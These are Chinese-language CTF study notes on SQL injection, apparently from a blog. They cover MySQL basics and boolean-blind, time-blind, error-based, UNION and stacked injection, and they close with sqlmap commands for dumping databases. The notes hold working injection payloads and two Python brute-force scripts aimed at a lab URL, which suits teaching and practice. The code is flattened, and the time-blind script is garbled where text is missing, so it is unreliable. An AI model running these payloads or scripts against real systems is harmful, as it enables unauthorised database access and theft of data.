SQL相关知识 & CTF SQL注入做题方法总结
SQL
MySQL基础
MySQL基本操作
1.查询本地所有数据库: show databases;
2.使用数据库:use 数据库名;
3.查看当前使用的数据库名:select database();
4.查看当前使用的数据库的所有表:show tables;
5.查看数据库版本:select version();
6.查看使用当前数据库的用户:select user();
7.查看数据库存储路径:select @@datadir;
8.查看MySQL的安装路径:select @@basedir;
9.查看安装数据库的操作系统:select @@version_compile_os;
常用操作
1.查询 :select
Select 字段列表 from 表名 where 条件 ;
2.修改:update
Update 表名 set 字段=值 where 条件;
3.删除:delete
Delete from 表名 where 条件;
4.增加:create
Create [database|table] name ·······;
information_schema
1.information_schema , 是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库表,表栏的数据类型和访问权限等。
2.Web渗透过程中用途很大
3.SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。
4.TABLES表:提供了关于数据库中的表的信息。
5.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
SQL注入
原理
动态交互网站,实现交互利用用户输入拼接到SQL语句执行。用户输入内容没有经过完美处理,并且直接将用户构造的SQL语句带入执行,导致SQL注入漏洞。
$sql = \'select \" + username + \"from users limit 0,1\';
常见类型
1.数字型注入
and 1=1 回显正常 and 1=2 返回异常,存在数字型注入可能2.字符型注入
1 返回正常1\' 返回异常,存在字符型注入可能[极客大挑战 2019]EasySQL3.联合查询
union select[极客大挑战 2019]LoveSQL4.盲注
·布尔盲注 特点:以页面回显的内容的不同作为判定依据。
布尔盲注只会回显 True和 False两种情况。利用下列函数,写脚本得到flaglength() 返回字符串的长度left(a,b) 从左侧截取a的前b位mid(a,b,c) 从位置b开始,截取a字符串的c位substr(a,b,c) 从b位置开始,截取字符串a的c长度ascii() 将某个字符转换为ascii值char() 将ASCII码转换为对应的字符less-5:因为页面只返回yes或no,不返回数据库中的数据,所以我们这里肯定是不能使用union注入的length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0substr(database(),1,1)=\'s\',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0substr((select table_name from information_schema.tables where table_schema=\'A\' limit 0,1),1,1)=\'e\',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0substr((select column_name from information_schema.tables where table_name=\'B\' limit 0,1),1,1)=\'e\',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0substr((select C from A.B limit 0,1),1,1)=\'e\',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0猜解第一个字符:?id=1\'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+[CISCN2019 华北赛区 Day2 Web1]Hack World````# 布尔盲注import requestsurl = \'http://snert.com.cn:10004/Less-5/\'db_len = 1db_name = \'\'# 猜解数据库名的长度# for i in range(30):# payload = f\"?id=1\' and length(database())={i}--+\"# res = requests.get(url+payload)# if \"You are in\" in res.text:# db_len = i# break# print(f\"数据库名的长度: {db_len}\")# ## # 猜解数据库名# for i in range(db_len+1):# for j in range(1,128):# payload = f\"?id=1\' and ascii(mid(database(),{i},1))={j}--+\"# r = requests.get(url+payload)# if \"You are in\" in r.text:# db_name += chr(j)# print(db_name)# else:# continue# print(f\"数据库名:{db_name}\")## 猜解数据库的表名table_name = \'\'for i in range(1,20): for j in range(1,128): payload = f\"?id=1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),{i},1))={j}--+\" r = requests.get(url+payload) if \"You are in\" in r.text: table_name += chr(j) print(table_name) else: continue````·时间盲注 特点:以回显的时间长短作为判断依据。
时间盲注 在页面没有任何正确或错误回显的情况下,用时间函数构造时间延后,由回显时间来获取数据,主要是利用sleep函数让sql语句的执行时间变长,常与if(1,2,3)函数连用如果1执行为ture则返回2,否则返回3.if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句sleep(n) 将程序挂起一段时间 n单位为秒爆破数据库?id=1\' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+爆破表名?id=1\' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+爆破内容?id=1\' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+start_time = time.time()re =requests.get(payload).textend_time = time.time()use_time =end_time-start_time时间盲注脚本import timeimport requestsurl=\'http://snert.com.cn:10004/Less-8/?id=\'table = \"\"for i in range(1,100): # time.sleep(1) left = 32 right = 128 mid = (left+right)//2 while left{mid} ,sleep(2),0)--+\" # print(payload) start_time = time.time() re =requests.get(payload).text end_time = time.time() use_time =end_time-start_time if use_time >2: # print(\"ok\") left = mid+1 else: right=mid mid = (left + right) // 2 # print(mid) table+=chr(mid) print(table)5.报错注入
判断注入当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显三种方法: extractvalue() updatexml() floor()0x7e就是~用来区分数据concat()函数 1.功能:将多个字符串连接成一个字符串。 2.语法:concat(str1,str2,…)返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。updatexml注入首先了解下updatexml()函数,作用是改变文档中符合条件的节点的值UPDATEXML (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据报错原因:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了报错注入语句格式: ?id=1 and extractvalue(null,concat(0x7e,(sql语句),0x7e))1 and updatexml(1,concat(0x7e,database(),0x7e),1)1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by xfloor()原理:floor函数的作用就是返回小于等于括号内该值的最大整数。利用 select count(*),floor(rand(0)*2) x from information_schema.character_sets group by x导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。1.爆数据库:?id=1 and extractvalue(null,concat(0x7e,(database()),0x7e))?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)?id=1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x2.爆数据库表:?id=1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema=\'sqli\' limit 0,1)) x from information_schema.schemata group by x3.爆数据库字段:?id=1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=\'flag\' limit 0,1),0x7e))?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=\'flag\' limit 0,1),0x7e),1)?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_schema=\'sqli\' and table_name=\'flag\' limit 0,1)) x from information_schema.schemata group by x4.获取flag:?id=1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))?id=1 and updatexml(1,concat(0x7e,mid((select flag from flag),4),0x7e),1)?id=1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x[极客大挑战 2019]HardSQL6.堆叠注入
代码示例:def login(username, password): query = \"SELECT * FROM users WHERE username=\'\" + username + \"\' AND password=\'\" + password + \"\'\" # 执行查询并验证用户登录信息 ... PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(hello)供之后调用EXECUTE:执行命令DEALLOCATE PREPARE:释放命令SET:用于设置变量(@a) [强网杯 2019]随便注[SUCTF 2019]EasySQL常见绕过
SQL注入技巧与绕过方法-CSDN博客
SQLmap
借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。 (1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下
./sqlmap.py -u \"http://localhost/Less-2/?id=1\" --dbs (2)使用 --current-db 参数获取当前数据库,示例命令如下:
./sqlmap.py -u \"http://localhost/Less-2/?\" --current-db (3)使用 --tables 参数枚举表名,示例命令如下 :
./sqlmap.py -u \"http://localhost/Less-2/?id=1\" --tables -D \'security\' (4)使用 --columns 参数枚举字段名,示例命令如下:
./sqlmap.py -u \"http://localhost/Less-2/?id=1\" --columns -T \"users\" -D \"security\" (5)使用 --dump 参数批量获取字段值,示例命令如下:
./sqlmap.py -u \"http://localhost/Less-2/?id=1\" --dump -C \"id,password,username\" -T \"users\" -D \"security\" (6)使用 --dump-all 参数导出整个数据库。
GET: ./sqlmap.py -u \"http://localhost/Less-2/?id=1\" --dump-all
POST: sqlmap -r 1.txt